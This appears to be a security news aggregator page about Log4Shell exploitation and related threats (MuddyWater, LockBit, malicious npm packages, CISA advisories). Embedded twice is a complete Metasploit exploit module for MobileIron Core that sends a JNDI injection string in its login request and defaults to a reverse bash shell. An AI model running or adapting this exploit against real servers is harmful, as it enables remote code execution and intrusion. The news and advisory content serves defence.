Iranian Hackers Exploiting Unpatched Log4j 2 Bugs to Target Israeli Organizations

 

Description

Iranian state-sponsored actors are leaving no stone unturned to exploit unpatched systems running Log4j to target Israeli entities, indicating the vulnerability’s long tail for remediation.

Microsoft attributed the latest set of activities to the umbrella threat group tracked as MuddyWater (aka Cobalt Ulster, Mercury, Seedworm, or Static Kitten), which is linked to the Iranian intelligence apparatus, the Ministry of Intelligence and Security (MOIS).

The attacks are notable for using SysAid Server instances unsecured against the Log4Shell flaw as a vector for initial access, marking a departure from the actors’ pattern of leveraging VMware applications for breaching target environments.

“After gaining access, Mercury establishes persistence, dumps credentials, and moves laterally within the targeted organization using both custom and well-known hacking tools, as well as built-in operating system tools for its hands-on-keyboard attack,” Microsoft said.

The tech giant’s threat intelligence team said it observed the attacks between July 23 and 25, 2022.

A successful compromise is said to have been followed by the deployment of web shells to execute commands that permit the actor to conduct reconnaissance, establish persistence, steal credentials, and facilitate lateral movement.

Also employed for command-and-control (C2) communication during intrusions is a remote monitoring and management software called eHorus and Ligolo, a reverse-tunneling tool of choice for the adversary.

The findings come as the U.S. Department of Homeland Security’s Cyber Safety Review Board (CSRB) deemed the critical vulnerability in the open-source Java-based logging framework an endemic weakness that will continue to plague organizations for years to come as exploitation evolves.

Log4j’s wide usage across many suppliers’ software and services means sophisticated adversaries like nation-state actors and commodity operators alike have opportunistically taken advantage of the vulnerability to mount a smorgasbord of attacks.

The Log4Shell attacks also follow a recent report from Mandiant that detailed an espionage campaign aimed at Israeli shipping, government, energy, and healthcare organizations by a likely Iranian hacking group dubbed UNC3890.

Read More

Pushing Open-Source Security Forward: Insights From Black Hat 2022

 

Description

Open-source security has been a hot topic in recent years, and it’s proven to be something of a double-edged sword. On the one hand, there’s an understanding of the potential that open-source tools hold for democratizing security, making industry best practices accessible to more organizations and helping keep everyone’s data better protected from attackers. On the other hand, open-source codebases have been the subject of some of the most serious and high-impact vulnerabilities we’ve seen over the past 12 months, namely Log4Shell and Spring4Shell.

While the feeling around open-source understandably wavers between excitement and trepidation, one thing is for sure: Open-source frameworks are here to stay, and it’s up to us to ensure they deliver on their potential and at the same time remain secure.

The future of open-source was common theme at Black Hat 2022, and two members of the Rapid7 research team — Lead Security Research Spencer McIntyre and Principal Security Researcher Curt Barnard — shined a light on the work they’ve been doing to improve and innovate with open-source tools. Here’s a look at their presentations from Black Hat, and how their efforts are helping push open-source security forward.

A more powerful Metasploit

Spencer, whose work focuses primarily on Rapid7’s widely used attacker emulation and penetration testing tool Metasploit, shared the latest and greatest improvements he and the broader team have made to the open-source framework in the past year. The upgrades they’ve made reflect a reality that security pros across the globe are feeling everyday: The perimeter is disappearing.

In a threat environment shaped by ransomware, supply chain attacks, and widespread vulnerabilities like Log4Shell, bad actors are increasingly stringing together complex attack workflows leveraging multiple vulnerabilities. These techniques allow adversaries to go from outside to within an organization’s network more quickly and easily than ever before.

The updates Spencer and team have made to Metasploit are intended to help security teams keep up with this shift, with more modern, streamlined workflows for testing the most common attack vectors. These recent improvements to Metasploit include:

****Credential capturing:**** Credential capture is a key component of the attacker emulation toolkit, but previously, the process for this in Metasploit involved spinning up 13 different modules and managing and specifying configurations for each. Now, Metasploit offers a credential capture plugin that lets you configure all options from a single start/stop command, eliminating redundant work.

****User interface (UI) optimization:****URLs are commonly used to identify endpoints — particularly web applications — during attacker emulation. Until now, Metasploit required users to manually specify quite a few components when using URLs. The latest update to the Metasploit UI understands a URL’s format, so users can copy and paste them from anywhere, even right from their browser.

****Payloadless session capabilities:****When emulating attacks, exploits typically generate Meterpreter payloads, making them easy to spot for many antivirus and EDR solutions — and reducing their effectiveness for security testing. Metasploit now lets you run post-exploitation actions and operations without needing a payload. You can tunnel modules through SSH sessions or create a WinRM session for any Metasploit module compatible with the shell session type, removing the need for a payload like reverse shell or Meterpreter.

****SMB server support:**** Metasploit Version 6 included SMB 3 server support, but only for client modules, which was limiting for users who were working with modern Windows targets that had disabled SMB 3 client support. Now, SMB 3 is available in all SMB server modules, so you can target modern Windows environments and have them fetch (often payload) files from Metasploit. This means you don’t need to install and configure an external service to test for certain types of vulnerabilities, including PrintNightmare.

Defaultinator: Find default credentials faster

Metasploit is at the heart of Rapid7’s commitment to open-source security, but we’re not stopping there. In addition to continually improving Metasploit, our research team works on new open-source projects that help make security more accessible for all. The latest of those is Defaultinator, a new tool that Curt Barnard announced the release of in his Black Hat Arsenal talk this year. (Curt also joined our podcast, Security Nation, to preview the announcement — check out that episode if you haven’t yet!)

Defaultinator is an open-source tool for looking up default usernames and passwords, providing an easy-to-search data repository in which security pros can query these commonly used credentials to find and eliminate them from their environment. This capability is becoming increasingly important for security teams, for a few key reasons:

• Some commonly used pieces of hardware in IT environments come with default credentials that could give attackers an easily exploitable method of network access. Curt gave the example of the Raspberry Pi microcontroller board, which always comes with the username “pi” and password “raspberry” for initial login — a security flaw that resulted in a 10 CVSS vulnerability published in 2021.
• Meanwhile, IoT devices have been proliferating, and many of these manufacturers don’t have security best practices at the front of their mind. That means hardcoded default credentials for first-time logins are common in this type of tool.
• Many software engineers (Curt included) spend a lot of time in Stack Overflow, and many of the code snippets found there contain example usernames and passwords. If you aren’t careful when copying and pasting, default credentials could make their way into your production environment.

With a whopping 54 CVEs for hardcoded usernames and passwords released just in 2022 so far (by Curt’s count), security pros are in need of a fast, accurate way to audit for default credentials. But until now, the tools for these kinds of audits just haven’t been out there, let alone widely available.

That’s why it was so important to make Defaultinator, the first tool of its kind for querying default usernames and passwords, an open-source solution — to ensure broad accessibility and help as many defenders as possible. Defaultinator offers an API search-based utility or a web-based user interface if you prefer not to interact with the API. It runs in Docker, and the quickstart repository on Github takes just four lines of code to get up and running.

Read More

MobileIron Log4Shell Remote Command Execution Exploit

 

Description

MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS command execution in the context of the tomcat user. This Metasploit module will start an LDAP server that the target will need to connect to.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Log4Shell
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(_info = {})
    super(
      'Name' => 'MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)',
      'Description' => %q{
        MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server
        will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
        command execution in the context of the tomcat user.

        This module will start an LDAP server that the target will need to connect to.
      },
      'Author' => [
        'Spencer McIntyre', # JNDI/LDAP lib stuff
        'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
        'rwincey', # discovered log4shell vector in MobileIron
        'jbaines-r7' # wrote this module
      ],
      'References' => [
        [ 'CVE', '2021-44228' ],
        [ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis'],
        [ 'URL', 'https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US' ],
        [ 'URL', 'https://www.mandiant.com/resources/mobileiron-log4shell-exploitation' ]
      ],
      'DisclosureDate' => '2021-12-12',
      'License' => MSF_LICENSE,
      'DefaultOptions' => {
        'RPORT' => 443,
        'SSL' => true,
        'SRVPORT' => 389,
        'WfsDelay' => 30
      },
      'Targets' => [
        [
          'Linux', {
            'Platform' => 'unix',
            'Arch' => [ARCH_CMD],
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/unix/reverse_bash'
            }
          },
        ]
      ],
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS],
        'AKA' => ['Log4Shell', 'LogJam'],
        'Reliability' => [REPEATABLE_SESSION],
        'RelatedModules' => [
          'auxiliary/scanner/http/log4shell_scanner',
          'exploit/multi/http/log4shell_header_injection'
        ]
      }
    )
    register_options([
      OptString.new('TARGETURI', [ true, 'Base path', '/'])
    ])
  end

  def wait_until(&block)
    datastore['WfsDelay'].times do
      break if block.call

      sleep(1)
    end
  end

  def check
    validate_configuration!

    vprint_status('Attempting to trigger the jndi callback...')

    start_service
    res = trigger
    return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?

    wait_until { @search_received }
    @search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')
  ensure
    cleanup_service
  end

  def build_ldap_search_response_payload
    return [] if @search_received

    @search_received = true

    return [] unless @exploiting

    print_good('Delivering the serialized Java object to execute the payload...')
    build_ldap_search_response_payload_inline('CommonsBeanutils1')
  end

  def trigger
    @search_received = false

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'mifs', 'j_spring_security_check'),
      'headers' => {
        'Referer' => "https://#{rhost}#{normalize_uri(target_uri, 'mifs', 'user', 'login.jsp')}"
      },
      'encode' => false,
      'vars_post' => {
        'j_username' => log4j_jndi_string,
        'j_password' => Rex::Text.rand_text_alphanumeric(8),
        'logincontext' => 'employee'
      }
    )
  end

  def exploit
    validate_configuration!
    @exploiting = true
    start_service
    res = trigger
    fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?
    fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way') unless res.code == 302

    wait_until { @search_received && (!handler_enabled? || session_created?) }
    handler
  end
end

Read More

VMWare Urges Users to Patch Critical Authentication Bypass Bug

 

Description

VMware and experts alike are urging users to patch multiple products affected by a critical authentication bypass vulnerability that can allow an attacker to gain administrative access to a system as well as exploit other flaws.

The bug—tracked as CVE-2022-31656—earned a rating of 9.8 on the CVSS and is one of a number of fixes the company made in various products in an update released on Tuesday for flaws that could easily become an exploit chain, researchers said.

CVE-2022-31656 also certainly the most dangerous of these vulnerabilities, and likely will become more so as the researcher who discovered it–Petrus Viet of VNG Security–has promised in a tweet that a proof-of-concept exploit for the bug is “soon to follow,” experts said.

This adds urgency to the need for organizations affected by the flaw to patch now, researchers said.

“Given the prevalence of attacks targeting VMware vulnerabilities and a forthcoming proof-of-concept, organizations need to make patching CVE-2022-31656 a priority,” Claire Tills, senior research engineer with Tenable’s Security Response Team, said in an email to Threatpost. “As an authentication bypass, exploitation of this flaw opens up the possibility that attackers could create very troubling exploit chains.”

Potential for Attack Chain

Specifically, CVE-2022-31656 is an authentication bypass vulnerability affecting VMware Workspace ONE Access, Identity Manager and vRealize Automation.

The bug affects local domain users and requires that a remote attacker must have network access to a vulnerable user interface, according to a blog post by Tills published Tuesday. Once an attacker achieves this, he or she can use the flaw to bypass authentication and gain administrative access, she said.

Moreover, the vulnerability is the gateway to exploiting other remote code execution (RCE) flaws addressed by VMWare’s release this week—CVE-2022-31658 and CVE-2022-31659—to form an attack chain, Tills observed.

CVE-2022-31658 is a JDBC injection RCE vulnerability that affect VMware Workspace ONE Access, Identity Manager and vRealize Automation that’s earned an “important” score on the CVSS—8.0. The flaw allows a malicious actor with administrator and network access to trigger RCE.

CVE-2022-31659 is an SQL injection RCE vulnerability that affects VMware Workspace ONE Access and Identity Manager and also earned a rating of 8.0 with a similar attack vector to CVE-2022-31658. Viet is credited with discovering both of these flaws.

The other six bugs patched in the update include another RCE bug (CVE-2022-31665) rated as important; two privilege escalation vulnerabilities (CVE-2022-31660 and CVE-2022-31661) rated as important; a local privilege escalation vulnerability (CVE-2022-31664) rated as important; a URL Injection Vulnerability (CVE-2022-31657) rated as moderate; and a path traversal vulnerability (CVE-2022-31662) rated as moderate.

Patch Early, Patch Everything

VMware is no stranger to having to rush out patches for critical bugs found in its products, and has suffered its share of security woes due to the ubiquity of its platform across enterprise networks.

In late June, for example, federal agencies warned of attackers pummeling VMware Horizon and Unified Access Gateway (UAG) servers to exploit the now-infamous Log4Shell RCE vulnerability, an easy-to-exploit flaw discovered in the Apache logging library Log4J late last year and continuously targeted on VMware and other platforms since then.

Indeed, sometimes even patching has still not been enough for VMware, with attackers targeting existing flaws after the company does its due diligence to release a fix.

This scenario occurred in December 2020, when the feds warned the adversaries were actively exploiting a weeks-old bug in Workspace One Access and Identity Manager products three days after the vendor patched the vulnerability.

Though all signs point to the urgency of patching the latest threat to VMware’s platform, it’s highly likely that even if the advice is heeded, the danger will persist for the foreseeable future, observed one security professional.

Though enterprises tend to initially move quickly to patch the most imminent threats to their network, they often miss other places attackers can exploit a flaw, observed Greg Fitzgerald, co-founder of Sevco Security, in an email to Threatpost. This is what leads to persistent and ongoing attacks, he said.

“The most significant risk for enterprises isn’t the speed at which they are applying critical patches; it comes from not applying the patches on every asset,” Fitzgerald said. “The simple fact is that most organizations fail to maintain an up-to-date and accurate IT asset inventory, and the most fastidious approach to patch management cannot ensure that all enterprise assets are accounted for.”

Read More

MobileIron Log4Shell Remote Command Execution

`##  

# This module requires Metasploit: https://metasploit.com/download  

# Current source: https://github.com/rapid7/metasploit-framework  

##  

class MetasploitModule < Msf::Exploit::Remote  

Rank = ExcellentRanking  

  

include Msf::Exploit::Remote::Log4Shell  

include Msf::Exploit::Remote::HttpClient  

prepend Msf::Exploit::Remote::AutoCheck  

  

def initialize(_info = {})  

super(  

'Name' => 'MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)',  

'Description' => %q{  

MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server  

will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS  

command execution in the context of the tomcat user.  

  

This module will start an LDAP server that the target will need to connect to.  

},  

'Author' => [  

'Spencer McIntyre', # JNDI/LDAP lib stuff  

'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff  

'rwincey', # discovered log4shell vector in MobileIron  

'jbaines-r7' # wrote this module  

],  

'References' => [  

[ 'CVE', '2021-44228' ],  

[ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis'],  

[ 'URL', 'https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US' ],  

[ 'URL', 'https://www.mandiant.com/resources/mobileiron-log4shell-exploitation' ]  

],  

'DisclosureDate' => '2021-12-12',  

'License' => MSF_LICENSE,  

'DefaultOptions' => {  

'RPORT' => 443,  

'SSL' => true,  

'SRVPORT' => 389,  

'WfsDelay' => 30  

},  

'Targets' => [  

[  

'Linux', {  

'Platform' => 'unix',  

'Arch' => [ARCH_CMD],  

'DefaultOptions' => {  

'PAYLOAD' => 'cmd/unix/reverse_bash'  

}  

},  

]  

],  

'Notes' => {  

'Stability' => [CRASH_SAFE],  

'SideEffects' => [IOC_IN_LOGS],  

'AKA' => ['Log4Shell', 'LogJam'],  

'Reliability' => [REPEATABLE_SESSION],  

'RelatedModules' => [  

'auxiliary/scanner/http/log4shell_scanner',  

'exploit/multi/http/log4shell_header_injection'  

]  

}  

)  

register_options([  

OptString.new('TARGETURI', [ true, 'Base path', '/'])  

])  

end  

  

def wait_until(&block)  

datastore['WfsDelay'].times do  

break if block.call  

  

sleep(1)  

end  

end  

  

def check  

validate_configuration!  

  

vprint_status('Attempting to trigger the jndi callback...')  

  

start_service  

res = trigger  

return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?  

  

wait_until { @search_received }  

@search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')  

ensure  

cleanup_service  

end  

  

def build_ldap_search_response_payload  

return [] if @search_received  

  

@search_received = true  

  

return [] unless @exploiting  

  

print_good('Delivering the serialized Java object to execute the payload...')  

build_ldap_search_response_payload_inline('CommonsBeanutils1')  

end  

  

def trigger  

@search_received = false  

  

send_request_cgi(  

'method' => 'POST',  

'uri' => normalize_uri(target_uri, 'mifs', 'j_spring_security_check'),  

'headers' => {  

'Referer' => "https://#{rhost}#{normalize_uri(target_uri, 'mifs', 'user', 'login.jsp')}"  

},  

'encode' => false,  

'vars_post' => {  

'j_username' => log4j_jndi_string,  

'j_password' => Rex::Text.rand_text_alphanumeric(8),  

'logincontext' => 'employee'  

}  

)  

end  

  

def exploit  

validate_configuration!  

@exploiting = true  

start_service  

res = trigger  

fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?  

fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way') unless res.code == 302  

  

wait_until { @search_received && (!handler_enabled? || session_created?) }  

handler  

end  

end  

`

Read More

LockBit Ransomware Abuses Windows Defender to Deploy Cobalt Strike Payload

 

Description

A threat actor associated with the LockBit 3.0 ransomware-as-a-service (RaaS) operation has been observed abusing the Windows Defender command-line tool to decrypt and load Cobalt Strike payloads.

According to a report published by SentinelOne last week, the incident occurred after obtaining initial access via the Log4Shell vulnerability against an unpatched VMware Horizon Server.

“Once initial access had been achieved, the threat actors performed a series of enumeration commands and attempted to run multiple post-exploitation tools, including Meterpreter, PowerShell Empire, and a new way to side-load Cobalt Strike,” researchers Julio Dantas, James Haughom, and Julien Reisdorffer said.

LockBit 3.0 (aka LockBit Black), which comes with the tagline “Make Ransomware Great Again!,” is the next iteration of the prolific LockBit RaaS family that emerged in June 2022 to iron out critical weaknesses discovered in its predecessor.

It’s notable for instituting what’s the first-ever bug bounty for a RaaS program. Besides featuring a revamped leak site to name-and-shame non-compliant targets and publish extracted data, it also includes a new search tool to make it easier to find specific victim data.

The use of living-off-the-land (LotL) techniques by cyber intruders, wherein legitimate software and functions available in the system are used for post-exploitation, is not new and is usually seen as an attempt to evade detection by security software.

Earlier this April, a LockBit affiliate was found to have leveraged a VMware command-line utility called VMwareXferlogs.exe to drop Cobalt Strike. What’s different this time around is the use of MpCmdRun.exe to achieve the same goal.

MpCmdRun.exe is a command-line tool for carrying out various functions in Microsoft Defender Antivirus, including scanning for malicious software, collecting diagnostic data, and restoring the service to a previous version, among others.

In the incident analyzed by SentinelOne, the initial access was followed by downloading a Cobalt Strike payload from a remote server, which was subsequently decrypted and loaded using the Windows Defender utility.

“Tools that should receive careful scrutiny are any that either the organization or the organization’s security software have made exceptions for,” the researchers said.

“Products like VMware and Windows Defender have a high prevalence in the enterprise and a high utility to threat actors if they are allowed to operate outside of the installed security controls.”

The findings come as initial access brokers (IABs) are actively selling access to company networks, including managed service providers (MSPs), to fellow threat actors for profit, in turn offering a way to compromise downstream customers.

In May 2022, cybersecurity authorities from Australia, Canada, New Zealand, the U.K., and the U.S. warned of attacks weaponizing vulnerable managed service providers (MSPs) as an “initial access vector to multiple victim networks, with globally cascading effects.”

“MSPs remain an attractive supply chain target for attackers, particularly IABs,” Huntress researcher Harlan Carvey said, urging companies to secure their networks and implement multi-factor authentication (MFA).

Read More

Malicious Npm Packages Tapped Again to Target Discord Users

 

Description

Threat actors once again are using the node package manager (npm) repository to hide malware that can steal Discord tokens to monitor user sessions and steal data on the popular chat and collaboration platform, researchers have found.

A campaign discovered this week by Kaspersky researchers is hiding an open-source token logger alongside a novel JavaScript malware in npm packages. The campaign, dubbed LofyLife, is aimed at stealing Discord tokens as well as victims’ IP addresses from infected machines, they said in a blog post on Secure List published Thursday.

Researchers were monitoring open-source repositories on Tuesday when they noticed suspicious activity in the form of four packages containing “highly obfuscated malicious Python and JavaScript code” in the npm repository, they wrote in the post.

The Python code turned out to be a modified version of the open-source token logger Volt Stealer, while the novel JavaScript malware–dubbed “LofyStealer”–was created to infect Discord client files so threat actors can monitor the victim’s actions, researchers said.

“It detects when a user logs in, changes email or password, enables/disables multi-factor authentication (MFA) and adds new payment methods, including complete bank card details,” researchers Igor Kuznetsov and Leonid Bezvershenko wrote. “Collected information is also uploaded to the remote endpoint whose address is hard-coded.”

Npm As Supply-Chain Threat

The npm repository is an open-source home for JavaScript developers to share and reuse code blocks that then can be reused to build various web applications. The repository poses a significant supply-chain given that if it’s corrupted, the malicious code is then propagated in any app using it and thus can be used to attack those app’s myriad users.

Indeed, attacking open-source repositories can be an unusually stealthy way for threat actors to target scores of apps and users in one fell swoop. This was made abundantly clear with the now infamous Log4Shell debacle, when a zero-day flaw in the ubiquitous Java logging library Apache Log4j used by countless web apps threatened to break the internet.

“Many people assumed that software created by a vendor was entirely authored by that vendor, but in reality there could be hundreds of third-party libraries making up even the simplest software,” observed Tim Mackey, principal security strategist at the Synopsys Cybersecurity Research Center, in an email to Threatpost.

This broad attack surface has not gone unnoticed by threat actors, who increasingly are targeting open-source repositories to hide malware that can lurk unsuspected across multiple platforms.

“Any attack vector that can reach a significant number of targets, or a number of significant targets is of interest to threat actors,” Casey Bisson, head of product and developer enablement at code-security firm BluBracket, wrote in an email to Threatpost.

Discord in the Crosshairs

Npm has become an especially attractive target for threat actors as it not only has tens of millions of users, but packages hosted by the repository also have been downloaded billions of times, he said.

“It’s used both by experienced Node.js developers and those using it casually as part of other activities,” Bisson observed. “Npm modules are used both in Node.js production applications, and in developer tooling for applications that wouldn’t otherwise use Node. That ubiquitous use among developers makes it a big target.”

Indeed, LofyLife is not the first time threat actors have used npm to target Discord users. In December, researchers at JFrog identified a set of 17 malicious npm packages with varying payloads and tactics that targeted the virtual meeting platform, which is used by 350 million users and enables communication via voice calls, video calls, text messaging and files.

Prior to that in January 2021, other researchers discovered three malicious npm packages from the threat actors behind the CursedGrabber malware aimed at stealing Discord tokens and other data from users of the platform.

Kaspersky, among other security firms, is constantly monitoring updates to npm repositories to ensure that all new malicious packages are detected and removed, researchers said.

Read More

CISA Releases Log4Shell-Related MAR

 

Description

From May through June 2022, CISA responded to an organization that was compromised by an exploitation of an unpatched and unmitigated Log4Shell vulnerability in a VMware Horizon server. CISA analyzed five malware samples obtained from the organization’s network and released a Malware Analysis Report of the findings.

Users and administrators are encouraged to review MAR 10386789-1.v1 for more information. For more information on Log4Shell, see:

• Joint Cybersecurity Advisory (CSA) Malicious Cyber Actors Continue to Exploit Log4Shell in VMware Horizon Systems,
• CISA’s Apache Log4j Vulnerability Guidance webpage,
• Joint CSA Mitigating Log4Shell and Other Log4j-Related Vulnerabilities, and
• CISA’s database of known vulnerable services on the CISA GitHub page.

This product is provided subject to this Notification and this Privacy & Use policy.

Read More

Patchable and Preventable Security Issues Lead Causes of Q1 Attacks

 

Description

Eighty-two percent of attacks on organizations in Q1 2022 were caused by the external exposure of a known vulnerabilities in the victim’s external-facing perimeter or attack surface. Those unpatched bugs overshadowed breach-related financial losses tied to human error, which accounted for 18 percent.

The numbers come from Tetra Defense and its quarterly report that sheds light on a notable uptick in cyberattacks against United States organizations between January and March 2022.

The report did not let employee security hygiene, or a lack thereof, off the hook. Tetra revealed that a lack of multi-factor authentication (MFA) mechanisms adopted by firms and compromised credential are still major factors in attacks against organizations.

External Exposures: A Major Path of Compromise

The study looks at the Root Point of Compromise (RPOC) in attacks. The RPOC is the initial entry point through which a threat actor infiltrates a victim organization and is categorized as the external exposure to a known vulnerability, or a malicious action performed by the user or a system misconfiguration.

“Incidents caused by unpatched systems cost organizations 54 percent more than those caused by employee error,” according to the report.

Researcher draw a line of distinction between “External Vulnerabilities” and “Risky External Exposures”.

External Vulnerabilities, defined by Tetra Defense, refers incidents where an attacker leverages the publicly available exploit to attack the victim’s network. Risky External Exposure, on the other hand, include IT practices such as leaving an internet-facing port open that can be used by an adversary to target the system.

“These behaviors are considered ‘risky’ because the mitigation relies on an organization’s continued security vigilance and willingness to enforce consistent standards over long periods of time,” said Tetra Defense in the report.

Risky External Exposure, the study found, account for 57 percent of an organizations’ losses.

Learning Lessons the Hard Way

According to Tetra Defense, the widespread awareness about the Log4Shell vulnerability minimize the active exploitation and was only the third most exploited external exposure accounting for 22 percent of total incident response cases. The Microsoft Exchange vulnerability ProxyShell outpaces the Log4Shell and leads the way by accounting for 33 percent of cases.

The Tetra Defense revealed that nearly 18 percent of the events were caused by the unintentional action performed by an individual employee in the organization.

“Over half (54 percent) of the incidents where ‘User Action’ was the RPOC were caused by an employee opening a malicious document,” Tetra Defense noted. The researcher analyzed that most incidents include malicious email campaigns targeting individuals and organizations at random.

The other major incident is the abuse of compromised credentials which contributes to 23 percent of incidents involved in user action. The reports indicate that usage of the same password across multiple sites is one of the main factors leading to credential leaking and account takeover.

“If one of the sites experiences a breach and the credentials are leaked to the dark web, those credentials can be used to compromise other systems where the same pair of username and password is used,” said Tetra Defense.

In the recent findings by Tetra Defense, the healthcare industry leads with approximately 20 percent of the total incidents reported in the first quarter of 2022. Apart from healthcare Tetra Defense collected insights from twelve different verticals including finance, education, manufacturing and construction.

The Patching Imperative

According to the reports by Tetra Defense, the median cost for an incident response engagement where external vulnerability was the RPOC is 54 percent more than the events where “User Action” was the RPOC.

“Advocating for better patching practices has almost become a cliché at this point as it’s common knowledge that it plays a major role in reducing cyber risk,” Tetra Defense noted.

“To best prevent exploitation of external vulnerabilities, organizations need to understand their attack surface and prioritize patching based on risk, all while ensuring they have the defenses in place to protect their systems knowing that that will have obstacles that will prevent them from immediately patching vulnerable systems,” Tetra Defense added.

The researcher observed multiple cybercriminal groups active on the dark web. “With such a large number of groups being actively observed it highlights the constant challenges organization have in protecting themselves, because if even one group becomes inactive or is taken down by law enforcement, there remain dozens of other groups actively trying to compromise them,” Tetra Defense concluded.

Read More

Log4Shell Vulnerability Targeted in VMware Servers to Exfiltrate Data

 

Description

The Cybersecurity and Infrastructure Security Agency (CISA) and Coast Guard Cyber Command (CGCYBER) released a joint advisory warning the Log4Shell flaw is being abused by threat actors that are compromising public-facing VMware Horizon and Unified Access Gateway (UAG) servers.

The VMware Horizon is a platform used by administrators to run and deliver virtual desktops and apps in the hybrid cloud, while UAG provides secure access to the resources residing inside a network.

According to the CISA, in one instance the advance persistent threat (APT) actor compromises the victim’s internal network, procures a disaster recovery network, and extracts sensitive information. “As part of this exploitation, suspected APT actors implanted loader malware on compromised systems with embedded executables enabling remote command and control (C2),” CISA added.

Attack Analysis

The CGCYBER conducts a proactive threat hunting engagement at an organization that was compromised by the threat actors who exploited Log4Shell in VMware Horizon. This revealed that after gaining initial access to the victim system, the adversary uploaded a malware identified as “hmsvc.exe”.

The researchers analyzed the sample of the hmsvc.exe malware and confirmed that the process masquerading as a legitimate Windows service and an altered version of SysInternals LogonSessions software.

According to the researcher sample of hmsvc.exe malware was running with the highest privilege level on a Windows system and contains an embedded executable that allows threat actors to log keystrokes, upload and execute payloads.

“The malware can function as a C2 tunneling proxy, allowing a remote operator to pivot to other systems and move further into a network,” The initial execution of malware created a scheduled task that is set to execute every hour.

According to CISA in another onsite incident response engagement, they observed bi-directional traffic between the victim and the suspected APT IP address.

The attackers initially gain access to the victim’s production environment (a set of computers where the user-ready software or update are deployed), by exploiting Log4Shell in unpatched VMware Horizon servers. Later CISA observed that the adversary uses Powershell scripts to perform lateral movements, retrieve and execute the loader malware with the capability to remotely monitor a system, gain reverse shell and exfiltrate sensitive information.

Further analysis revealed that attackers with access to the organization test and production environment leveraged CVE-2022-22954, an RCE flaw in VMware workspace ONE access and Identity manager. to implant the Dingo J-spy web shell,

Incident Response and Mitigations

CISA and CGCYBER recommended multiple actions that should be taken if an administrator discovers compromised systems:

1. Isolate compromised system
2. Analyze the relevant log, data and artifacts.
3. All software should be updated and patched from the .
4. Reduce the non-essential public-facing hosting service to restrict the attack surface and implement DMZ, strict network access control, and WAF to protect against attack.
5. Organizations are advised to implement best practices for identity and access management (IAM) by introducing multifactor authentication (MFA), enforcing strong passwords, and limited user access.

Read More

Log4Shell Still Being Exploited to Hack VMWare Servers to Exfiltrate Sensitive Data

 

Description

The U.S. Cybersecurity and Infrastructure Security Agency (CISA), along with the Coast Guard Cyber Command (CGCYBER), on Thursday released a joint advisory warning of continued attempts on the part of threat actors to exploit the Log4Shell flaw in VMware Horizon servers to breach target networks.

“Since December 2021, multiple threat actor groups have exploited Log4Shell on unpatched, public-facing VMware Horizon and [Unified Access Gateway] servers,” the agencies said. “As part of this exploitation, suspected APT actors implanted loader malware on compromised systems with embedded executables enabling remote command-and-control (C2).”

In one instance, the adversary is said to have been able to move laterally inside the victim network, obtain access to a disaster recovery network, and collect and exfiltrate sensitive law enforcement data.

Log4Shell, tracked as CVE-2021-44228 (CVSS score: 10.0), is a remote code execution vulnerability affecting the Apache Log4j logging library that’s used by a wide range of consumers and enterprise services, websites, applications, and other products.

Successful exploitation of the flaw could enable an attacker to send a specially-crafted command to an affected system, enabling the actors to execute malicious code and seize control of the target.

Based on information gathered as part of two incident response engagements, the agencies said that the attackers weaponized the exploit to drop rogue payloads, including PowerShell scripts and a remote access tool dubbed “hmsvc.exe” that’s equipped with capabilities to log keystrokes and deploy additional malware.

“The malware can function as a C2 tunneling proxy, allowing a remote operator to pivot to other systems and move further into a network,” the agencies noted, adding it also offers a “graphical user interface (GUI) access over a target Windows system’s desktop.”

The PowerShell scripts, observed in the production environment of a second organization, facilitated lateral movement, enabling the APT actors to implant loader malware containing executables that include the ability to remotely monitor a system’s desktop, gain reverse shell access, exfiltrate data, and upload and execute next-stage binaries.

Furthermore, the adversarial collective leveraged CVE-2022-22954, a remote code execution vulnerability in VMware Workspace ONE Access and Identity Manager that came to light in April 2022, to deliver the Dingo J-spy web shell.

Ongoing Log4Shell-related activity even after more than six months suggests that the flaw is of high interest to attackers, including state-sponsored advanced persistent threat (APT) actors, who have opportunistically targeted unpatched servers to gain an initial foothold for follow-on activity.

According to cybersecurity company ExtraHop, Log4j vulnerabilities have been subjected to relentless scanning attempts, with financial and healthcare sectors emerging as an outsized market for potential attacks.

“Log4j is here to stay, we will see attackers leveraging it again and again,” IBM-owned Randori said in an April 2022 report. “Log4j buried deep into layers and layers of shared third-party code, leading us to the conclusion that we’ll see instances of the Log4j vulnerability being exploited in services used by organizations that use a lot of open source.”

Read More

Malicious Cyber Actors Continue to Exploit Log4Shell in VMware Horizon Systems

 

Description

